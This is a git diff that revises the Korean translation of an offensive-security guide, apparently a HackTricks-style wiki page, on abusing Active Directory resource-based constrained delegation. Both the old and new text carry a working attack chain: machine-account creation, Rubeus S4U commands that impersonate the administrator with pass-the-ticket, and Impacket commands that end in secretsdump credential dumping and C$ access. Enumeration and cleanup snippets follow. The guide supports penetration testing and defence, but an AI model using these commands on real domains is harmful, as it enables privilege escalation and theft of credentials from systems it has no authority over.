@ -24,12 +24,12 @@
|
||||
|
||||
공격자가 이미 **희생 컴퓨터에 대한 쓰기 동등 권한**을 가지고 있다고 가정합니다.
|
||||
|
||||
1. 공격자는 **SPN**이 있는 계정을 **타락시키거나** (“Service A”) **하나를 생성합니다**. **특별한 권한이 없는** _Admin User_는 최대 10개의 컴퓨터 객체(**_MachineAccountQuota_**)를 **생성**하고 **SPN**을 설정할 수 있습니다. 따라서 공격자는 단순히 컴퓨터 객체를 생성하고 SPN을 설정할 수 있습니다.
|
||||
2. 공격자는 희생 컴퓨터(ServiceB)에 대한 **쓰기 권한**을 악용하여 **ServiceA가 해당 희생 컴퓨터(ServiceB)에 대해 어떤 사용자를 가장할 수 있도록 하는 리소스 기반 제약 위임을 구성합니다**.
|
||||
3. 공격자는 Rubeus를 사용하여 **특권 액세스가 있는 사용자**에 대해 Service A에서 Service B로 **전체 S4U 공격**(S4U2Self 및 S4U2Proxy)을 수행합니다.
|
||||
1. S4U2Self (타락시키거나 생성한 SPN에서): **관리자에게 TGS를 요청합니다** (Forwardable이 아님).
|
||||
1. 공격자는 **SPN**이 있는 계정을 **타락시키거나** 하나를 **생성**합니다 (“Service A”). **특별한 권한** 없이도 **모든** _관리자 사용자_는 최대 10개의 컴퓨터 객체(**_MachineAccountQuota_**)를 **생성**하고 **SPN**을 설정할 수 있습니다. 따라서 공격자는 컴퓨터 객체를 생성하고 SPN을 설정할 수 있습니다.
|
||||
2. 공격자는 희생 컴퓨터(ServiceB)에 대한 **쓰기 권한**을 악용하여 **리소스 기반 제약 위임을 구성하여 ServiceA가 해당 희생 컴퓨터(ServiceB)에 대해 어떤 사용자도 가장할 수 있도록** 합니다.
|
||||
3. 공격자는 Rubeus를 사용하여 **Service A**에서 **Service B**로 **전체 S4U 공격**(S4U2Self 및 S4U2Proxy)을 수행합니다. 이때 **Service B에 대한 특권 액세스**가 있는 사용자로부터 요청합니다.
|
||||
1. S4U2Self (타락시키거나 생성한 SPN에서): **관리자에게 TGS를 요청합니다** (Forwardable 아님).
|
||||
2. S4U2Proxy: 이전 단계의 **Forwardable이 아닌 TGS**를 사용하여 **희생 호스트**에 대한 **관리자**의 **TGS**를 요청합니다.
|
||||
3. Forwardable이 아닌 TGS를 사용하더라도 Resource-based 제약 위임을 악용하고 있으므로 작동합니다.
|
||||
3. Forwardable이 아닌 TGS를 사용하더라도 리소스 기반 제약 위임을 악용하고 있으므로 작동합니다.
|
||||
4. 공격자는 **티켓을 전달**하고 **사용자를 가장하여 희생 ServiceB에 대한 **액세스**를 얻을 수 있습니다.
|
||||
|
||||
도메인의 _**MachineAccountQuota**_를 확인하려면 다음을 사용할 수 있습니다:
|
||||
@ -70,9 +70,9 @@ msds-allowedtoactonbehalfofotheridentity
|
||||
----------------------------------------
|
||||
{1, 0, 4, 128...}
|
||||
```
|
||||
### Performing a complete S4U attack (Windows/Rubeus)
|
||||
### S4U 공격 수행하기 (Windows/Rubeus)
|
||||
|
||||
먼저, 우리는 비밀번호 `123456`로 새로운 컴퓨터 객체를 생성했으므로, 해당 비밀번호의 해시가 필요합니다:
|
||||
우선, 우리는 비밀번호 `123456`로 새로운 컴퓨터 객체를 생성했으므로, 해당 비밀번호의 해시가 필요합니다:
|
||||
```bash
|
||||
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
|
||||
```
|
||||
@ -81,14 +81,14 @@ msds-allowedtoactonbehalfofotheridentity
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
|
||||
```
|
||||
Rubeus의 `/altservice` 매개변수를 사용하여 한 번만 요청하면 더 많은 서비스에 대한 더 많은 티켓을 생성할 수 있습니다:
|
||||
Rubeus의 `/altservice` 매개변수를 사용하여 한 번 요청하는 것만으로 더 많은 서비스에 대한 티켓을 생성할 수 있습니다:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 사용자는 "**위임할 수 없음**"이라는 속성을 가지고 있습니다. 사용자가 이 속성이 True로 설정되어 있으면, 해당 사용자를 가장할 수 없습니다. 이 속성은 bloodhound 내에서 확인할 수 있습니다.
|
||||
|
||||
### Linux 도구: Impacket을 이용한 엔드 투 엔드 RBCD (2024+)
|
||||
### Linux 도구: Impacket을 사용한 엔드 투 엔드 RBCD (2024+)
|
||||
|
||||
Linux에서 작업하는 경우, 공식 Impacket 도구를 사용하여 전체 RBCD 체인을 수행할 수 있습니다:
|
||||
```bash
|
||||
@ -107,12 +107,12 @@ export KRB5CCNAME=$(pwd)/Administrator.ccache
|
||||
# Example: dump local secrets via Kerberos (no NTLM)
|
||||
impacket-secretsdump -k -no-pass Administrator@victim.domain.local
|
||||
```
|
||||
노트
|
||||
Notes
|
||||
- LDAP 서명/LDAPS가 강제되는 경우, `impacket-rbcd -use-ldaps ...`를 사용하십시오.
|
||||
- AES 키를 선호하십시오; 많은 현대 도메인이 RC4를 제한합니다. Impacket과 Rubeus는 모두 AES 전용 흐름을 지원합니다.
|
||||
- Impacket은 일부 도구에 대해 `sname`("AnySPN")을 재작성할 수 있지만, 가능한 경우 항상 올바른 SPN을 얻으십시오 (예: CIFS/LDAP/HTTP/HOST/MSSQLSvc).
|
||||
- Impacket은 일부 도구에 대해 `sname` ("AnySPN")을 재작성할 수 있지만, 가능한 경우 올바른 SPN을 얻으십시오 (예: CIFS/LDAP/HTTP/HOST/MSSQLSvc).
|
||||
|
||||
### 접근
|
||||
### Accessing
|
||||
|
||||
마지막 명령줄은 **완전한 S4U 공격을 수행하고 TGS를** 관리자에서 피해자 호스트의 **메모리**로 주입합니다.\
|
||||
이 예에서는 관리자에게서 **CIFS** 서비스에 대한 TGS가 요청되었으므로 **C$**에 접근할 수 있습니다:
|
||||
@ -127,7 +127,7 @@ ls \\victim.domain.local\C$
|
||||
|
||||
### RBCD가 구성된 컴퓨터 열거
|
||||
|
||||
PowerShell (SID를 해결하기 위해 SD를 디코딩):
|
||||
PowerShell (SID를 해결하기 위해 SD 디코딩):
|
||||
```powershell
|
||||
# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
|
||||
Import-Module ActiveDirectory
|
||||
@ -172,7 +172,7 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025
|
||||
- 당신이 가장하려는 사용자가 원하는 서비스에 접근할 수 없습니다 (가장할 수 없거나 충분한 권한이 없기 때문)
|
||||
- 요청한 서비스가 존재하지 않습니다 (winrm에 대한 티켓을 요청했지만 winrm이 실행되고 있지 않은 경우)
|
||||
- 생성된 fakecomputer가 취약한 서버에 대한 권한을 잃었으며, 이를 다시 부여해야 합니다.
|
||||
- 당신이 고전적인 KCD를 남용하고 있습니다; RBCD는 비전달 가능한 S4U2Self 티켓과 함께 작동하는 반면, KCD는 전달 가능한 것을 요구합니다.
|
||||
- 당신이 고전 KCD를 남용하고 있습니다; RBCD는 비전달 가능한 S4U2Self 티켓과 함께 작동하는 반면, KCD는 전달 가능한 것을 요구합니다.
|
||||
|
||||
## 노트, 릴레이 및 대안
|
||||
|
||||
@ -188,7 +188,7 @@ adws-enumeration.md
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## 참조
|
||||
## 참고 문헌
|
||||
|
||||
- [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
|
||||
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user